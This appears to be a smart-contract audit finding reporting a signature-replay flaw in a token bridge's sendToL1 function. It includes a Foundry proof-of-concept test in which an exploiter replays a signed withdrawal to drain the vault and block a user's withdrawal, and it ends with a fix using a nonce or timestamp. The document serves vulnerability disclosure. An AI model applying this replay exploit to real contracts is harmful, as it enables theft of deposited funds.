By looking at on-chain transaction an exploiter can see the parameters used in sendToL1 and call sendToL1 right away and replay the withdraw, leading to a vault drain.
In this poc we are only replaying twice to show case the exploit but we could potentially replay the attack until the vault is empty
function testSendToL1_POC_Replay_attack() public {
uint256 depositAmount = 10e18;
vm.startPrank(user);
token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
vm.stopPrank();
vm.startPrank(exploiter);
uint256 exploiterInitialBalance = token.balanceOf(address(exploiter));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(exploiter, userInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), depositAmount * 2);
assertEq(token.balanceOf(address(exploiter)), exploiterInitialBalance - depositAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(exploiter, depositAmount), operator.key);
tokenBridge.withdrawTokensToL1(exploiter, depositAmount, v, r, s);
assertEq(token.balanceOf(address(exploiter)), exploiterInitialBalance);
assertEq(token.balanceOf(address(vault)), depositAmount);
bytes memory message = abi.encode(
address(token),
0,
abi.encodeCall(IERC20.transferFrom, (address(vault), exploiter, depositAmount))
);
tokenBridge.sendToL1(v, r, s, message);
vm.stopPrank();
assertEq(token.balanceOf(address(exploiter)), exploiterInitialBalance + depositAmount);
assertEq(token.balanceOf(address(vault)), 0);
vm.startPrank(user);
(uint8 v2, bytes32 r2, bytes32 s2) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount), operator.key);
vm.expectRevert(0x2645fa00);
tokenBridge.withdrawTokensToL1(user, depositAmount, v2, r2, s2);
vm.stopPrank();
}
Vault can be completely drained.
Make sendToL1 internal and add a nonce or a timestamp to avoid the replaying a message